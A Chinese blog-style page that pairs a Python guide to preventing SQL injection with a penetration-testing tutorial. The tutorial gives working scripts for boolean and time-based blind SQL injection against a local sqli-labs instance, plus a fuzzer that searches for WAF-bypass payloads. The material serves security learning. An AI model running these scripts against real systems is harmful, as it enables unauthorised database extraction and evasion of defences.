sql注入中最常见的就是字符串拼接,研发人员对字符串拼接应该引起重视,不应忽略。
错误用法1:
sql = "select id, name from test where id=%d and name='%s'" %(id, name)
cursor.execute(sql)
错误用法2:
sql = "select id, name from test where id="+ str(id) +" and name='"+ name +"'"
cursor.execute(sql)
正确用法1:
args = (id, name)
sql = "select id, name from test where id=%s and name=%s"
cursor.execute(sql, args)
execute()函数本身有接受sql语句参数位的,可以通过python自身的函数处理sql注入问题。
正确用法2:
name = MySQLdb.escape_string(name)
sql = "select id, name from test where id=%d and name='%s'" %(id, name)
cursor.execute(sql)
python模块MySQLdb自带针对mysql的字符转义函数escape_string,可以对字符串转义。
execute()函数本身就有接受SQL语句变量的参数位,只要正确的使用(直白一点就是:使用”逗号”,而不是”百分号”)就可以对传入的值进行correctly转义,从而避免SQL注入的发生。
example:
1 import sqlite3
2
3 con = sqlite3.connect(":memory:")
4 cur = con.cursor()
5 cur.execute("create table people (name_last, age)")
6
7 who = "Yeltsin"
8 age = 72
9
10 # This is the qmark style:
11 cur.execute("insert into people values (?, ?)", (who, age))
12
13 # And this is the named style:
14 cur.execute("select * from people where name_last=:who and age=:age", {"who": who, "age": age})
15
16 print cur.fetchone()
Note that the placeholder syntax depends on the database you are using
'qmark' Question mark style, e.g. '...WHERE name=?'
'numeric' Numeric, positional style, e.g. '...WHERE name=:1'
'named' Named style, e.g. '...WHERE name=:name'
'format' ANSI C printf format codes, e.g. '...WHERE name=%s'
'pyformat' Python extended format codes, e.g. '...WHERE name=%(name)s'
0x01 Python SQL安全编码
0x01-1 ORM框架
最好还是用ORM框架之类的执行SQL,现在Python开发Django用的也比较多,Django自带的ORM真的好用啊,model一写,用起来舒舒服服还不用担心注入。推荐,首选ORM。
0x01-2 参数化查询
Python的cursor.execute方法已经自带了参数化查询方式,使用方法如下:
username = "admin"
password = "pass"
sql = "select * from user_table where username = %s and password = %s"
args = (username, password)
cursor.execute(sql, args) # python查询方法已经提供了参数化查询的方式,自动处理过滤
记住用的时候,用” , “不要用” % “
0x01-3 过滤参数
过滤参数的话主要还是\x00, \n, \r, \, ', " 和 \x1a几个字符为主,要么根据业务需求把参数类型卡死一点或者正则匹着来,后面打算写个Python的安全SDK开源,自己先占个坑,Python MySQLdb也自带了过滤的方法。
MySQLdb.escape_string实现了MySQL C接口的mysql_escape_string主要就是过滤了上述的几个字符
0x02 总结
注入感觉现在见的也不多了,各种框架,ORM都帮我们处理好了,正确的使用这些工具其实已经能避免SQL注入了,再加上现在各类防护产品,注入真心少见了。通用注入修复思路和安全编码:
- 使用SQL预编译和存储过程对参数进行绑定(推荐)
- 动态拼接语句需要使用安全API对参数进行过滤
- 根据业务需求严格控制传入参数类型以及形式
- 使用ORM框架查询,框架内基本都对SQL注入有处理
python脚本实现自动化sql盲注
2018-04-22 22:59:37 • 分类: 渗透测试 • 标签: python, sql注入, 渗透测试
0x00 前言
前面几篇博客写了sql注入时的绕过方法和盲注时经常使用的函数,但是我们明显能看到一个问题,那就是盲注时候需要对比每个字符的ascii码,如果手工注入就会十分浪费时间,所以我们这次尝试用python实现自动话注入。
0x01 布尔型盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22 | #! -*- encoding:utf-8 -*-
# python3
# author: leticia
import requests
#用这里的语句分别替换id中的内容即可爆库、表、字段
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
dic='0123456789abcdefghijklmnopqrstuvwxyz,'
url='http://127.0.0.1/sqli-labs/Less-8/?id=1\' and '
string=''
for i in range(1,100):
for j in dic:
id="substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),{0},1)={1}--+".format(str(i),ascii(j))
#print(id)
url_get=(url+id)
#print(url_get)
r=requests.get(url_get)
if "You" in r.text:
string+=j
print(string)
print(string)
|
这里我们可以通过构造id的值,循环遍历库名集合的前100个位置与dic中的所有字符进行比对,然后如果返回页面正常即存在user关键字(根据实际情况更改),就将这个字母保存在string中,遍历完之后输出string。
0x02 基于时间的盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 | #! -*- encoding:utf-8 -*-
# python3
# author: leticia
import requests
#用这里的语句分别替换id中的内容即可爆库、表、字段
#select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'xxx'
#select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA = 'xxx' and TABLE_NAME = 'xxx'
dic='0123456789abcdefghijklmnopqrstuvwxyz,'
url='http://127.0.0.1/sqli-labs/Less-8/?id=1\' and '
string=''
for i in range(100):
for j in dic:
id="if((substr((select group_concat(schema_name) from information_schema.schemata limit 0,1),{0},1)={1}),sleep(3),0)--+".format(str(i),ascii(j))
#print(id)
url_get=(url+id)
#print(url_get)
r=requests.get(url_get)
sec=r.elapsed.seconds
if sec > 2:
string+=j
print(string)
break
print(string)
|
这里我们可以通过构造id的值,循环遍历库名集合的前100个位置与dic中的所有字符进行比对,然后如果返回页面需要两秒以上才能返回(即触发sleep(3)函数),就将这个字母保存在string中,遍历完之后输出string。
0x03 fuzz测试
在安全测试中,模糊测试(fuzz testing)是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型。在某些有安全狗一类的防护系统下,如果要手工判断过滤规则需要安全工作者很高的执行力,在这些情况下fuzz测试可以充分利用机器生成无规则且大量的数据来进行测试,拥有很高的效率。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 | #! -*- encoding:utf-8 -*-
# python3
import requests
fuzz_zs = ['/*', '*/', '/*!', '*', '=', '`', '!', '@', '%', '.', '-', '+', '|', '%00']
fuzz_sz = ['', ' ']
fuzz_ch = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0h", "%0i", "%0j"]
fuzz = fuzz_zs + fuzz_sz + fuzz_ch
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0",
"X-Forwarded-For": "127.0.0.1"
}
url_start = "http://127.0.0.1/waf/test.php?id=1"
test_url=requests.get(url_start,headers=headers)
print(test_url.text)
for a in fuzz:
for b in fuzz:
for c in fuzz:
for d in fuzz:
exp = "/*!union" + a + b + c + d + "select*/ 1,2,3"
url = url_start + exp
res = requests.get(url=url, headers=headers)
print("Now URL:" + url)
if "user" in res.text:
print("Find Fuzz bypass:" + url)
with open(r"C:\Users\Leticia\Desktop\results.txt", 'a', encoding='utf-8') as r:
r.write(url + "\n")
|
这里将fuzz常用到的内联注释、特殊字符等,随机组合,循环添加到union select之间,如果返回的页面正常显示user,没有进入防护系统的拦截界面,说明这里的表达式没有被过滤,然后写到results.txt中保存。
之后我们可以利用results.txt分析到的规则,再完善前面的其他脚本,进行自动化注入。
0x04 总结
做测试时不能总是依赖sqlmap等完全自动化工具,也不能完全依赖手注,根据面对的实际情况编写适当的脚本,才能更熟练的掌握这些漏洞。